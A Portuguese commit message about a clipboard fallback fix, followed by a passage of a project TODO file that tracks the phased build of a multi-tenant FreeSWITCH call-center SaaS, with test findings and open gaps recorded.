navigator.clipboard só existe em contexto seguro (HTTPS ou localhost) —
este ambiente é HTTP puro, acessado pelo IP real da VM. SecretReveal
(usado na criação de ramal e em "ver senha atual") chamava
navigator.clipboard.writeText sem tratamento de erro, então em contexto
inseguro o botão simplesmente não fazia nada, sem nenhum aviso.
Fix: fallback pra document.execCommand("copy") (textarea temporário)
quando a Clipboard API moderna não existe ou falha, funciona em qualquer
contexto. Se as duas formas falharem, mostra aviso pra copiar manualmente
em vez de falhar em silêncio.
Testado com Playwright acessando o IP real da VM (não localhost, pra
reproduzir o contexto inseguro de verdade): confirmado
navigator.clipboard.writeText undefined nesse contexto (reproduz o
sintoma exato), e os dois fluxos de senha mostram sucesso via o fallback.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BFaBaBSQGhyXGEgtTYZGV8
2625 lines
167 KiB
Markdown
2625 lines
167 KiB
Markdown
# TODO — B2BCall
|
||
|
||
## PHASE 01 — Infrastructure
|
||
- [x] Diagnóstico do servidor (Debian 13, 2 vCPU, ~1.9GB RAM, 26GB disco livre)
|
||
- [x] Docker + Docker Compose instalados
|
||
- [x] Estrutura de monorepo criada (apps/, packages/, infrastructure/, scripts/, docs/)
|
||
- [x] PostgreSQL 18 (docker-compose, porta 127.0.0.1:5432)
|
||
- [x] Redis 7 (docker-compose, porta 127.0.0.1:6379)
|
||
- [x] Secrets gerados em `.env` (POSTGRES_PASSWORD, REDIS_PASSWORD, JWT_SECRET, JWT_REFRESH_SECRET, ENCRYPTION_KEY, ESL_PASSWORD)
|
||
- [x] `FREESWITCH_PAT` configurado em `.env` (não commitado)
|
||
- [x] FreeSWITCH (imagem própria via pacotes SignalWire, não compilada da fonte —
|
||
ver docs/FREESWITCH.md; rodando, saudável, ~44MB RAM, senha ESL customizada,
|
||
nenhuma porta exposta ao host)
|
||
- [ ] nginx (reverse proxy)
|
||
|
||
## PHASE 05 — FreeSWITCH (agente.md secao 232)
|
||
- [x] Imagem própria (`infrastructure/freeswitch/`), pacotes SignalWire (PAT via
|
||
BuildKit secret, nunca na imagem final — verificado com `docker history`)
|
||
- [x] Módulos mínimos carregados: sofia, event_socket, commands, dptools,
|
||
callcenter, avmd, curl, local_stream, etc. (mod_xml_curl instalado mas
|
||
desativado até existir b2bcall-fs-config)
|
||
- [x] Senha do Event Socket trocada da padrão via entrypoint runtime (nunca
|
||
fica na imagem); porta 8021 não publicada no host
|
||
- [x] docs/FREESWITCH.md, docs/NETWORK_ARCHITECTURE.md (decisão de
|
||
network_mode adiada pra quando existir tronco SIP real)
|
||
- [ ] Diretório/dialplan ainda são os estáticos da config vanilla (ramais de
|
||
teste 1000-1019, senhas fracas) — substituir por mod_xml_curl na fase
|
||
Extensions/Trunks/Dialplan
|
||
|
||
## PHASE 06 — Event Socket (agente.md secao 21-25, 195)
|
||
- [x] `packages/telephony`: interface `TelephonyProvider` + `FreeSwitchTelephonyProvider`
|
||
(sobre a lib `esl`, reconexão com backoff já embutida na lib)
|
||
- [x] `normalizeEslEvent()`: eventos ESL crus → vocabulário interno (secao 24)
|
||
- [x] `apps/freeswitch-events` (b2bcall-fs-events): conexão ESL permanente,
|
||
resubscreve a cada reconexão, publica eventos normalizados no canal Redis
|
||
`b2bcall:events`
|
||
- [x] Achado: FreeSWITCH 1.11 aplica ACL implícita (só loopback) sem
|
||
`apply-inbound-acl` — bloqueava conexão de outro container mesmo com
|
||
senha certa. Corrigido com ACL própria cobrindo loopback + rede Docker.
|
||
- [x] Testado ponta a ponta com chamada loopback local: CALL_CREATED →
|
||
CALL_ANSWERED → CALL_ENDED corretos no Redis
|
||
- [ ] Reconciliação pós-reconexão (calls/agents/queues/registrations/gateways)
|
||
— não é possível ainda, sem essas tabelas persistidas
|
||
|
||
## PHASE 07 — XML Curl (agente.md secao 26)
|
||
- [x] `apps/freeswitch-config` (b2bcall-fs-config): responde ao protocolo
|
||
XML Curl do FreeSWITCH (POST form-encoded → XML), containerizado
|
||
- [x] `mod_xml_curl` reativado, binding restrito a `directory|dialplan`
|
||
(não `configuration` — evita chamadas HTTP desnecessárias no boot)
|
||
- [x] Por enquanto sempre "not found" (sem tabela extensions/dialplan ainda);
|
||
verificado que a config estática vanilla continua funcionando como
|
||
fallback (`user/8888` → SUBSCRIBER_ABSENT via fs-config,
|
||
`user/1000` → USER_NOT_REGISTERED via config estática — achou o usuário)
|
||
- [ ] Sem autenticação HTTP ainda — ok enquanto só responde "not found";
|
||
adicionar `gateway-credentials` antes de servir directory/dialplan reais
|
||
|
||
## PHASE 02 — SaaS Core
|
||
- [x] Monorepo Node.js/TypeScript (pnpm workspaces, tsconfig base)
|
||
- [x] Node 22 LTS + pnpm instalados no host
|
||
- [x] `packages/database` (Prisma 7 + driver adapter `pg`, migration inicial)
|
||
- [x] `packages/types` (TenantStatus, AgentState), `packages/shared`
|
||
- [x] Tabela `tenants` criada via migration (seção 29 do agente.md)
|
||
|
||
## PHASE 03 — Tenant Isolation
|
||
- [x] Tabelas `users` + `tenant_memberships` (tenant-scoped)
|
||
- [x] RLS (`ENABLE`/`FORCE ROW LEVEL SECURITY` + policy) em `tenant_memberships`
|
||
- [x] Tenant context via `set_config('app.current_tenant_id', ..., true)` (transaction-local)
|
||
- [x] Helper `withTenantContext()` em `packages/database`
|
||
- [x] Role de banco separado para runtime (`b2bcall_app`, sem SUPERUSER/BYPASSRLS) —
|
||
achado crítico: o role padrão do Docker Postgres é SUPERUSER e SEMPRE ignora RLS,
|
||
até com FORCE. Ver `docs/TENANT_ISOLATION.md`.
|
||
- [x] Teste automatizado de isolamento (`pnpm --filter @b2bcall/database run test:isolation`)
|
||
|
||
## PHASE 04 — Authentication / RBAC
|
||
- [x] `packages/auth`: hash Argon2id (`@node-rs/argon2`), JWT access token (`jose`),
|
||
refresh token opaco com rotation
|
||
- [x] Tabelas `roles`, `permissions`, `role_permissions`, `user_roles`, `sessions`, `audit_logs`
|
||
- [x] `login()` / `refreshSession()` / `logout()` / `listUserTenants()` / `setActiveTenant()`
|
||
- [x] `userHasPermission()` (RBAC com scope PLATFORM/TENANT)
|
||
- [x] Seed: catálogo de permissions + roles de sistema + Platform Super Admin inicial
|
||
(senha em `FIRST_LOGIN.txt`, fora do Git, `mustChangePassword=true`)
|
||
- [x] Teste automatizado (`pnpm --filter @b2bcall/auth run test:auth`)
|
||
- [x] `apps/api` (NestJS + Fastify): endpoints de auth, JwtAuthGuard, DomainExceptionFilter,
|
||
rate limit de login via Redis (5/min por IP e por e-mail), helmet/cors, health checks
|
||
— testado ponta a ponta com curl (login, refresh rotation, logout, RBAC, 401/403/429)
|
||
- [ ] Password reset por e-mail — depende de SMTP configurado
|
||
|
||
## PHASE 08 — Extensions (agente.md secao 39-40, 178)
|
||
- [x] Tabela `extensions` (tenant-scoped, RLS) — number, sip_password_enc,
|
||
caller_id, context, sofia_profile, codecs, max_registrations
|
||
- [x] `packages/shared/src/crypto.ts`: AES-256-GCM (senha SIP cifrada em
|
||
repouso), `generateStrongPassword()`, `maskSecret()`
|
||
- [x] `apps/api/src/extensions`: CRUD (POST/GET/GET:id/DELETE), RBAC via novo
|
||
`PermissionGuard` genérico (`@RequirePermission`), tenant só do JWT
|
||
- [x] Senha SIP só aparece em texto puro na resposta do POST, nunca depois
|
||
(destructuring explícito, não spread — evita vazamento por acidente)
|
||
- [x] `b2bcall-fs-config` resolve directory real: Tenant.telephonyDomain →
|
||
Extension.number, decifra a senha, monta XML com dial-string
|
||
- [x] `Tenant.telephonyDomain` fixo (`b2bcall.local`) via patch no `vars.xml`
|
||
do FreeSWITCH — antes usava o IP dinâmico do container, instável
|
||
- [x] HTTP Basic auth entre FreeSWITCH e fs-config (`gateway-credentials`,
|
||
timingSafeEqual) — adicionada nesta mesma fase, não deixada pendente
|
||
- [x] Testado ponta a ponta: criar ramal → `user/1500` dá USER_NOT_REGISTERED
|
||
(achou, sem telefone) → deletar → volta a SUBSCRIBER_ABSENT
|
||
- [x] Achado: `PermissionGuard` injetando `Reflector` via construtor dava
|
||
`undefined` em runtime rodando via `tsx`/esbuild (emissão de metadata
|
||
de tipo não é 100% confiável cross-file) — corrigido com `@Inject()`
|
||
explícito; atenção pra isso em guards/services futuros
|
||
- [ ] Quota de ramais — depende de Plans/Entitlements (não existe ainda)
|
||
- [ ] Multi-domínio real por tenant — hoje só um domínio fixo pra todos
|
||
|
||
## PHASE 09 — Trunks (agente.md secao 41-42)
|
||
- [x] Tabela `trunks` (tenant-scoped, RLS) — host/proxy/realm, register,
|
||
username/password_enc (AES-256-GCM), dtmf_mode, ping, transport,
|
||
status/status_updated_at
|
||
- [x] `apps/api/src/trunks`: CRUD (POST/GET/GET:id/DELETE), mesmo padrão de
|
||
RBAC/tenant de Extensions, senha nunca exposta em nenhum GET
|
||
- [x] `packages/telephony`: `buildGatewayXml()` (XML de gateway Sofia)
|
||
- [x] `b2bcall-fs-config`: gera `sip_profiles/external/<trunk_id>.xml` (volume
|
||
Docker compartilhado com o FreeSWITCH) e roda `sofia profile external
|
||
rescan` via ESL — sincroniza no boot e sob demanda via Redis pub/sub
|
||
(`b2bcall:trunks:sync`, publicado pela API a cada create/delete)
|
||
- [x] Achado: 1º sync no boot corria antes da conexão ESL terminar de se
|
||
estabelecer (erro cosmético) — corrigido com
|
||
`FreeSwitchTelephonyProvider.waitUntilConnected()`
|
||
- [x] Testado ponta a ponta com host fake: criar trunk → arquivo gerado →
|
||
`sofia status gateway` mostra o gateway real (FAIL_WAIT, esperado) →
|
||
deletar → arquivo removido (limpeza também tirou o `example.com` da
|
||
vanilla que tinha sido copiado pro volume — comportamento correto)
|
||
- [ ] **Lacuna real, não resolvida**: `Trunk.status` deveria ser atualizado
|
||
via eventos `sofia::gateway_state` (código escrito em
|
||
`apps/freeswitch-events/src/trunk-status.ts`, baseado no mesmo
|
||
`normalizeEslEvent` já testado pra eventos CHANNEL_*), mas o evento
|
||
**não foi observado chegando** em ~90s de monitoramento mesmo com o
|
||
gateway mudando de estado de verdade no FreeSWITCH (FAIL_WAIT/DOWN).
|
||
Os eventos `sofia::*` (CUSTOM) nunca foram provados funcionando nesta
|
||
sessão — só CHANNEL_* foi verificado de ponta a ponta até agora.
|
||
Precisa de investigação com um alvo SIP real (outro FreeSWITCH, por
|
||
exemplo) antes de confiar em atualização automática de status em
|
||
produção. Ver docs/TRUNKS.md.
|
||
- [ ] Quota de troncos — depende de Plans/Entitlements (não existe ainda)
|
||
|
||
## PHASE 10 — Dialplan (agente.md secao 43-44)
|
||
- [x] `dialplan_extensions` (tenant-scoped, RLS) — editor estruturado:
|
||
context, condition field/expr, actions/anti-actions (JSON), continue,
|
||
order, enabled
|
||
- [x] `dialplan_versions` (tenant-scoped, RLS) — gerar/validar/versionar/
|
||
ativar; reativar versão antiga = rollback (sem endpoint separado)
|
||
- [x] `apps/api/src/dialplan`: extensions CRUD + `versions/generate` +
|
||
`versions/:id/activate`, permissions `freeswitch.view`/`.configure`
|
||
- [x] Allowlist de applications seguras (`ALLOWED_DIALPLAN_APPLICATIONS`,
|
||
sem `system`/`exec`/etc — agente.md secao 180)
|
||
- [x] `b2bcall-fs-config` serve a versão ACTIVE dinamicamente por chamada
|
||
(resolve tenant via `variable_b2bcall_tenant_id`, não domain — não
|
||
sofre da limitação de multi-domínio do directory)
|
||
- [x] Testado ponta a ponta: criar extension → gerar v1 → ativar → originate
|
||
passando pelo dialplan de verdade → CALL_CREATED/ANSWERED/ENDED com
|
||
tenantId correto. Criar v2 → ativar (v1 vira SUPERSEDED) → reativar v1
|
||
(rollback, v2 vira SUPERSEDED). Tudo confirmado via API.
|
||
|
||
- [x] **ACHADO CRÍTICO, corrigido nesta fase**: testando a allowlist com
|
||
`application: "system"`, a API aceitou (201) — `ValidationPipe` do
|
||
Nest estava **completamente inoperante** em toda `apps/api` desde que
|
||
ela foi criada (todo `@Body()`, todos os controllers) porque `tsx`
|
||
(esbuild) não emite `design:paramtypes` corretamente pra tipos
|
||
importados de outro arquivo, e o Nest pula validação silenciosamente
|
||
quando não reconhece o tipo. Corrigido: `apps/api` agora builda com
|
||
`tsc` de verdade antes de rodar (`tsc && tsx dist/main.js`) — nunca
|
||
mais `tsx src/main.ts` direto. Ver docs/VALIDATION_PIPE_BUG.md.
|
||
Reverificado com 2 testes deliberados pós-correção, ambos
|
||
corretamente rejeitados com 400.
|
||
- [ ] Só 1 condition por extension (simplificação) — FreeSWITCH suporta
|
||
múltiplas em sequência, não implementado
|
||
- [ ] `dialplan.view`/`.manage` não existem — reusei `freeswitch.*`
|
||
|
||
## PHASE 11 — mod_callcenter / Queues (agente.md secao 37, 50-51)
|
||
- [x] Investigado `help callcenter_config` real antes de codar: filas só
|
||
têm `load`/`unload`/`reload` (XML estático + reload, sem `queue add`);
|
||
agentes e tiers são 100% dinâmicos via comando ESL (`agent add`,
|
||
`tier add`) — próxima fase, sem arquivo nenhum
|
||
- [x] `queues` table (tenant-scoped, RLS) — strategy, moh/announce,
|
||
wait times, tier rules, discard/abandoned, skip-external-calls,
|
||
recording_enabled
|
||
- [x] `packages/telephony`: `buildQueueXml()`
|
||
- [x] `overrides/autoload_configs/callcenter.conf.xml` própria (zera
|
||
agents/tiers estáticos da vanilla, inclui
|
||
`callcenter_queues.conf.d/*.xml` via X-PRE-PROCESS)
|
||
- [x] `apps/api/src/queues`: CRUD (POST/GET/GET:id/DELETE), permissions
|
||
`queues.view`/`.manage`
|
||
- [x] `b2bcall-fs-config` (`queue-sync.ts`): 1 arquivo por fila (volume
|
||
compartilhado), sincroniza via Redis pub/sub (`b2bcall:queues:sync`)
|
||
- [x] Achado real, confirmado testando manualmente antes de escrever código:
|
||
`queue load` falha se o arquivo foi adicionado depois do boot —
|
||
precisa de `reloadxml` primeiro; depois disso, `queue reload` sozinho
|
||
serve tanto pra criar quanto atualizar
|
||
- [x] Testado ponta a ponta: criar fila (ROUND_ROBIN, maxWaitTime=120,
|
||
discardAbandonedAfter=90) → `callcenter_config queue list` mostra os
|
||
parâmetros corretos → deletar → lista volta vazia
|
||
- [ ] Agentes/Tiers/Pausas (secao 45-49) — próxima fase
|
||
- [ ] Monitoramento em tempo real (secao 54) — depende de WebSocket
|
||
- [ ] Quota de filas — depende de Plans/Entitlements
|
||
|
||
## PHASE 12 — Agentes, Tiers, Pausas (agente.md secao 45-49, 52)
|
||
- [x] `agents`/`tiers`/`agent_sessions`/`agent_state_events`/
|
||
`pause_reasons`/`agent_pause_events` (tenant-scoped, RLS) — separa
|
||
User/Agent/Extension (secao 45)
|
||
- [x] Corrigidos bugs reais em `FreeSwitchTelephonyProvider` (nunca
|
||
testados antes): `addAgentToQueue`/`removeAgentFromQueue` usavam
|
||
"queue add/del member", que **não existe** — comando certo é
|
||
`tier add`/`tier del`. Adicionados `addAgent`/`removeAgent`
|
||
(`agent add`/`agent del`), que faltavam por completo.
|
||
- [x] Confirmado manualmente antes de codar: `agent add`/`tier add`
|
||
duplicado dá erro ("already exist", capturado e ignorado no sync);
|
||
`agent del`/`tier del` em algo inexistente não dá erro; `agent set
|
||
status` só aceita `Available`/`On Break`/`Logged Out`
|
||
- [x] Sync 100% dinâmico via ESL (sem arquivo, diferente de Trunks/Queues):
|
||
`b2bcall:agents:sync`/`b2bcall:tiers:sync` (Redis pub/sub com payload
|
||
por ação, não um resync geral)
|
||
- [x] `apps/api`: `/agents` (CRUD provisionamento), `/agents/me/login|
|
||
logout|pause|resume` (sempre sobre o agente do usuário autenticado,
|
||
nunca um id arbitrário do client), `/pause-reasons`,
|
||
`/queues/:id/agents` (tier assignment)
|
||
- [x] Achado de corrida real, visto no teste ponta a ponta: atribuir tier
|
||
antes do primeiro login falha (agente ainda não existe no
|
||
FreeSWITCH) — login sempre re-sincroniza todos os tiers do agente,
|
||
autocorrigindo. Confirmado acontecendo exatamente assim no teste.
|
||
- [x] Testado ponta a ponta os 4 estados: login→Available, pause→On Break,
|
||
resume→Available, logout→Logged Out — todos confirmados batendo
|
||
entre `Agent.state` (banco) e `callcenter_config agent list`
|
||
(FreeSWITCH)
|
||
- [x] Estados derivados de chamada (RINGING/IN_CALL/WRAP_UP/RESERVED) —
|
||
mecanismo de entrega do `callcenter::info` corrigido e confirmado
|
||
(ver PHASE 13); persistir em `Agent.state` ainda não implementado
|
||
- [ ] `PauseReason.maxDuration` não é aplicado automaticamente
|
||
- [ ] Quota de agentes — depende de Plans/Entitlements
|
||
- [ ] Achado sistêmico: `@@unique` combinado com soft delete (sem excluir
|
||
`deletedAt`) em `Agent`/`Extension`/`Trunk`/`Queue`/`PauseReason` —
|
||
não dá pra reusar número/nome/código depois de apagar. Precisa de
|
||
índice único parcial em cada um, migration própria (ver docs/AGENTS.md)
|
||
|
||
## PHASE 13 — Realtime Monitoring / WebSocket multi-tenant (agente.md secao 54-55, 161)
|
||
- [x] **Bug real, achado nesta fase**: nenhum evento CUSTOM do ESL
|
||
(`sofia::register`, `sofia::gateway_state`, `callcenter::info`) jamais
|
||
chegava em `b2bcall-fs-events` — `event_json(...)` mandava `"CUSTOM"`
|
||
como último token do comando `event json`, sem subclass depois
|
||
(mod_event_socket exige os subclasses logo depois do token CUSTOM no
|
||
mesmo comando). Corrigido separando `PLAIN_EVENTS`/`CUSTOM_SUBCLASSES`.
|
||
Resolve as lacunas documentadas em PHASE 09/12 e docs/TRUNKS.md/AGENTS.md.
|
||
- [x] Corrigido de quebra: `CC-Agent-Status` (não existe) → `CC-Agent-State`
|
||
(campo real); novos tipos normalizados `AGENT_OFFERED_CALL`,
|
||
`AGENT_BRIDGE_FAILED`, `QUEUE_MEMBER_COUNT`, `QUEUE_MEMBER_LEFT`
|
||
- [x] Corrigido de quebra: `sofia profile external rescan` nunca descarregava
|
||
um gateway cujo arquivo foi apagado (fantasma na memória do Sofia) —
|
||
`trunk-sync.ts` agora roda `killgw <nome>` pra cada gateway removido
|
||
- [x] `tenant-resolve.ts` (fs-events): resolve tenantId por fan-out
|
||
(agente/fila não carregam `b2bcall_tenant_id` — só existe a partir do
|
||
Predictive Engine), cacheado por id
|
||
- [x] `apps/api`: `RealtimeGateway` (socket.io sobre o Fastify HTTP server),
|
||
auth via JWT no handshake (`monitoring.view`), uma room por tenant
|
||
(`tenant:<id>`) — nunca broadcast global, sempre `server.to(room)`
|
||
(secao 161: tenant-scoped no servidor, nunca filtrar só no browser)
|
||
- [x] `RealtimeRedisBridge`: assina `b2bcall:events` (canal único, mesmo
|
||
usado desde Event Socket), reencaminha pro tenant certo
|
||
- [x] `AGENT_STATE_CHANGED` publicado direto de `agents-me.controller.ts`
|
||
(login/logout/pause/resume) — tenantId já vem do JWT, sem fan-out
|
||
- [x] Testado ponta a ponta: login/pause/resume/logout via WS, chamada de
|
||
teste numa fila real (QUEUE_MEMBER_COUNT/LEFT, AGENT_OFFERED_CALL,
|
||
AGENT_BRIDGE_FAILED, AGENT_STATUS_CHANGED com CC-Agent-State correto),
|
||
token inválido desconectado na hora
|
||
- [ ] Ramais/extensões (secao 55 completa: busy/registro) — precisa de SIP
|
||
real pra testar, e extrair ramal dos headers de canal (não feito)
|
||
- [ ] TME/TMA/Service Level/Abandon Rate — dependem de CDR (fase futura)
|
||
- [ ] Snapshot/reconciliação ao reconectar o WebSocket
|
||
|
||
## PHASE 14 — Plans/Entitlements (agente.md secao 56-62)
|
||
- [x] Fase que tinha ficado pra trás: a ordem de implementação (secao 232)
|
||
coloca Plans/Entitlements logo depois de PostgreSQL RLS, bem antes de
|
||
FreeSWITCH — mas o build seguiu direto sem essa peça. Toda fase desde
|
||
então documentou "quota depende de Plans/Entitlements" como
|
||
pendência. Fechado agora, antes de Campanhas (que dependem de
|
||
`max_campaigns`) e do CPS Limiter (que vai depender de `max_cps`)
|
||
- [x] `plans` (catálogo compartilhado, sem RLS — não é tenant-scoped) +
|
||
`tenants.plan_id` obrigatório (nunca null: campo de limite null =
|
||
"sem limite", nunca "sem plano", agente.md secao 56)
|
||
- [x] Migration hand-escrita: cria `plans`, insere seed "trial", faz
|
||
backfill de `plan_id` pros tenants existentes, só depois `NOT NULL`
|
||
(Postgres não deixa `NOT NULL` sem default em tabela não-vazia)
|
||
- [x] `packages/entitlements` (pacote novo): `assertQuota`/
|
||
`assertFeatureEnabled`, erros mapeados pra 403 no
|
||
`DomainExceptionFilter`
|
||
- [x] Retrofit nos controllers existentes: Extensions/Trunks/Agents/Queues
|
||
agora contam linhas ativas e checam quota antes de criar
|
||
- [x] Testado ponta a ponta: 5 extensões OK (limite do trial), 6a rejeitada
|
||
com 403 "Quota excedida: maxExtensions (limite do plano: 5)"
|
||
|
||
## PHASE 15 — Campanhas, Leads, Lista de Bloqueio (agente.md secao 63-71)
|
||
- [x] `campaigns`/`leads`/`suppression_entries` (tenant-scoped, RLS) — só
|
||
modelo/CRUD/máquina de estados; o motor que origina chamadas de
|
||
verdade (PredictiveDialerEngine) é uma fase à parte, deliberadamente
|
||
não implementada aqui (agente.md secao 72: "não é só `for lead ->
|
||
originate`")
|
||
- [x] Máquina de estados da campanha (secao 64-66): start/pause/drain/stop
|
||
com tabela de transições válidas — tentar uma transição inválida
|
||
(ex.: pause numa DRAFT) retorna 400, nunca ignora silenciosamente
|
||
- [x] `packages/shared/src/phone.ts` (secao 70): normalização dedicada,
|
||
preparada pra E.164 completo, só BR implementado por enquanto
|
||
- [x] Importação CSV em batches de 1000 (secao 69): detecta duplicado
|
||
(dentro do CSV + contra leads já existentes), checa lista de
|
||
bloqueio (importa como DO_NOT_CALL, não descarta), retorna resumo
|
||
{total, valid, invalid, duplicates, imported, suppressed}
|
||
- [x] Lista de bloqueio (secao 71): CRUD tenant-scoped
|
||
- [x] Testado ponta a ponta: campanha com queueId/trunkId inválido
|
||
rejeitada, pacingMin > pacingMax rejeitado, CSV de 5 linhas (1
|
||
inválida, 1 duplicada, 1 bloqueada) importado corretamente,
|
||
start->pause->drain->stop e transições inválidas todas corretas,
|
||
3a campanha rejeitada por quota (max_campaigns=2 do plano trial)
|
||
- [ ] `PredictiveDialerEngine` (secao 72-86) — dados em tempo real, EWMA,
|
||
CPS distribuído, reserva atômica de lead, lock de campanha,
|
||
originate via bgapi, state machine da chamada, controle de abandono,
|
||
retry — implementado na PHASE 16
|
||
- [ ] Wizard visual de importação (upload de arquivo) — fase Frontend
|
||
- [ ] Relatório de campanha (secao 160) — depende de CDR
|
||
|
||
## PHASE 16 — CPS Limiter / Predictive Dialer Engine (agente.md secao 72-86, 77-79)
|
||
- [x] Novo serviço `apps/predictive-dialer` (mesmo padrão de fs-events/
|
||
fs-config: Node standalone em Docker, ESL própria, tick a cada 2s
|
||
sobre tenants ativos x campanhas RUNNING/WAITING_SCHEDULE)
|
||
- [x] Lock de campanha (`dialer:campaign:{id}`, secao 79): TTL, ownership
|
||
token, renewal, safe release (Lua compare-and-delete) — testado
|
||
isolado, outro dono nunca rouba nem renova o lock de quem já tem
|
||
- [x] CPS distribuído (secao 77, 62): token bucket janela de 1s (Lua
|
||
atômico), hierarquia GLOBAL/TENANT/TRUNK/CAMPAIGN numa única chamada
|
||
— testado isolado, nível esgotado bloqueia todos SEM incremento
|
||
parcial dos que passariam
|
||
- [x] Reserva atômica de leads (secao 78): `FOR UPDATE SKIP LOCKED` raw
|
||
SQL dentro da mesma transação `withTenantContext`
|
||
- [x] `CallAttempt`/`CampaignStats` (schema novo): state machine da
|
||
chamada (secao 82) + EWMA (secao 75, alpha=0.25) de
|
||
answer_probability/average_answer_delay/average_talk_time/
|
||
abandon_rate, persistida por campanha
|
||
- [x] Capacidade em tempo real + pacing (secao 73-76, 84-85): conta
|
||
agentes por estado via Tier->Agent.state, previsão de liberação
|
||
simplificada (horizonte único de 15s em vez dos 4 buckets da
|
||
especificação), controle de abandono reduz pacing progressivamente,
|
||
nunca origina sem capacidade prevista
|
||
- [x] Modo simulação (secao 185): DIALER_SIMULATION=true (default) sorteia
|
||
ANSWER/BUSY/NO_ANSWER/FAILED em software, sem PSTN real. Só quando
|
||
ANSWERED é que uma chamada sintética (null/dummy, sem PSTN) entra na
|
||
fila real via mod_callcenter de verdade — maximiza código real
|
||
exercitado em vez de simular tudo em memória
|
||
- [x] Real Outbound Safety (secao 186): as duas flags
|
||
(DIALER_SIMULATION=false + ALLOW_REAL_OUTBOUND_CALLS=true) checadas
|
||
no boot, nunca ativado automaticamente — caminho PSTN real
|
||
implementado mas nunca exercitado (sem trunk real neste laboratório)
|
||
- [x] **Bug real, achado no teste desta fase**: perna sintética (null/
|
||
dummy) não tem mídia do outro lado — nunca desliga sozinha depois de
|
||
bridgear com um agente. Corrigido com hangup agendado via
|
||
`uuid_kill` no talk_time simulado.
|
||
- [x] **Bug real, achado no teste desta fase**: corrida entre `queue:sync`
|
||
e `tier:sync` (dois canais Redis independentes, sem ordem garantida)
|
||
— atribuir tier logo depois de criar a fila podia rodar `tier add`
|
||
antes do `queue reload` terminar ("-ERR Queue not found!", diferente
|
||
do já conhecido "already exist"). Corrigido com retry curto em
|
||
`agent-sync.ts::addTierWithRetry`.
|
||
- [x] `GET /campaigns/:id/stats` (secao 227.7 "visualizar pacing"):
|
||
CampaignStats + contagem de agentes por estado + calls em andamento
|
||
- [x] Testado ponta a ponta: campanha RUNNING originando 3 tentativas por
|
||
tick, outcomes simulados corretos com retry agendado, uma chamada
|
||
simulada-ANSWERED completando o ciclo real inteiro (queue -> agente
|
||
-> bridge -> hangup -> EWMA atualizada), stop não derruba chamada
|
||
ativa (secao 66), calls_answered=3 confirmado no `queue list` do
|
||
FreeSWITCH ao final
|
||
- [ ] Previsão de 4 buckets (5/10/15/20s, secao 74) — simplificado pra um
|
||
único horizonte de 15s
|
||
- [ ] mod_avmd (secao 87), callbacks agendados (secao 88), disposições de
|
||
agente (secao 89) — fora do escopo, ficam pra fase CDR
|
||
- [ ] CPS a nível de trunk — só aplica quando o caminho PSTN real rodar
|
||
- [ ] Relatório de campanha (secao 160), TME/TMA/Service Level/Abandon
|
||
Rate agregados — implementado na PHASE 17
|
||
|
||
## PHASE 17 — CDR (agente.md secao 152-160)
|
||
- [x] `calls`/`call_legs`/`call_events` (tenant-scoped, RLS) +
|
||
`dispositions` (secao 89). `dial_attempts` da especificação não
|
||
virou tabela nova — `CallAttempt` (fase Predictive Engine) já cobre
|
||
o conceito; `Call.attemptId` liga um Call à sua tentativa
|
||
- [x] `apps/freeswitch-events/src/cdr.ts`: cada NormalizedEvent relevante
|
||
faz upsert em Call + insere em call_events; CALL_ENDED calcula os
|
||
agregados em segundos (secao 155-156: ringTime/waitTime/talkTime/
|
||
durationSeconds/billableSeconds)
|
||
- [x] **Bug real, achado no teste desta fase**: `AGENT_OFFERED_CALL`/
|
||
`AGENT_BRIDGE_FAILED` disparam de uma thread interna do
|
||
mod_callcenter sem contexto de channel — não têm header Unique-ID,
|
||
então `callUuid` ficava undefined e os dois eram descartados
|
||
silenciosamente (Call.queueId/agentId nunca preenchidos mesmo com
|
||
bridge/falha de bridge reais). Corrigido com fallback pro
|
||
`CC-Member-Session-UUID` (data.memberSessionUuid).
|
||
- [x] **Bug real, achado no teste desta fase**: corrida entre
|
||
CALL_CREATED/CALL_ANSWERED (persistCallEvent roda sem await, cada
|
||
evento abre sua própria transação) podia fazer `answerAt` aparecer
|
||
antes de `createdAt` quando o upsert que criava a linha usava
|
||
`now()` do momento errado. Corrigido setando `createdAt` explicito
|
||
a partir de `normalized.occurredAt` no branch de criação.
|
||
- [x] `GET /reports/queues` (secao 159): recebidas/atendidas/abandonadas/
|
||
TME/TMA/Service Level/Abandon Rate por fila
|
||
- [x] `GET /reports/agents` (secao 158): tempo logado/pausado/por estado
|
||
(AgentStateEvent pareado) + chamadas atendidas/TMA
|
||
- [x] `GET /reports/campaigns` (secao 160): leads/attempts/answered/agent
|
||
connected/busy/no answer/failed/callbacks/rates/TME/TMA —
|
||
"Valor Telefonia"/"Valor IA" ficam null (dependem de Billing)
|
||
- [x] `GET /calls` (secao 157, filtros por data/ramal/agente/fila/
|
||
campanha/trunk/telefone/hangup cause/disposição) + `PATCH /calls/
|
||
:id/disposition` (secao 89, o próprio agente que atendeu marca, ou
|
||
supervisor com agents.manage)
|
||
- [x] Testado ponta a ponta: campanha com 5 leads, 3 ANSWERED simulados
|
||
entrando na fila real, Call.queueId/agentId/hangupCause corretos
|
||
(confirmando a correção da correlação), createdAt<=answerAt em
|
||
todos, durationSeconds batendo com discard_abandoned_after; os 3
|
||
relatórios com números internamente consistentes entre si e com os
|
||
logs do discador; disposição gravada com ownership check correto
|
||
- [ ] extensionId/sipCallId/callerNumber/calledNumber — não populados
|
||
ainda (nenhum evento atual carrega esses dados de forma confiável)
|
||
- [ ] direction: só distingue OUTBOUND (tem campanha) de INTERNAL —
|
||
detecção de INBOUND de verdade não implementada
|
||
- [ ] call_legs — schema existe, nada escreve ainda (só faz sentido com
|
||
transferência entre uuids)
|
||
- [ ] Cross-tenant reports pra platform admin (secao 157) — sem console
|
||
de plataforma ainda
|
||
|
||
## PHASE 18 — Recording / Object Storage (agente.md secao 90-94)
|
||
- [x] `packages/storage`: `ObjectStorageProvider` (secao 92) — Local
|
||
(filesystem, com checagem de path traversal) e S3-compatible
|
||
(`@aws-sdk/client-s3`, preparado pra MinIO — nunca exercitado nesta
|
||
sessão, sem servidor S3 disponível). Escolhido por
|
||
`STORAGE_PROVIDER` env, cada processo monta o seu
|
||
- [x] `buildRecordingObjectKey` (secao 93):
|
||
`tenants/{tenant_id}/recordings/YYYY/MM/DD/{call_id}.wav`, sempre
|
||
montada no servidor
|
||
- [x] Bind mounts (não volumes nomeados) pro spool de gravação e pro
|
||
storage local — `apps/api` roda no host, precisa enxergar os mesmos
|
||
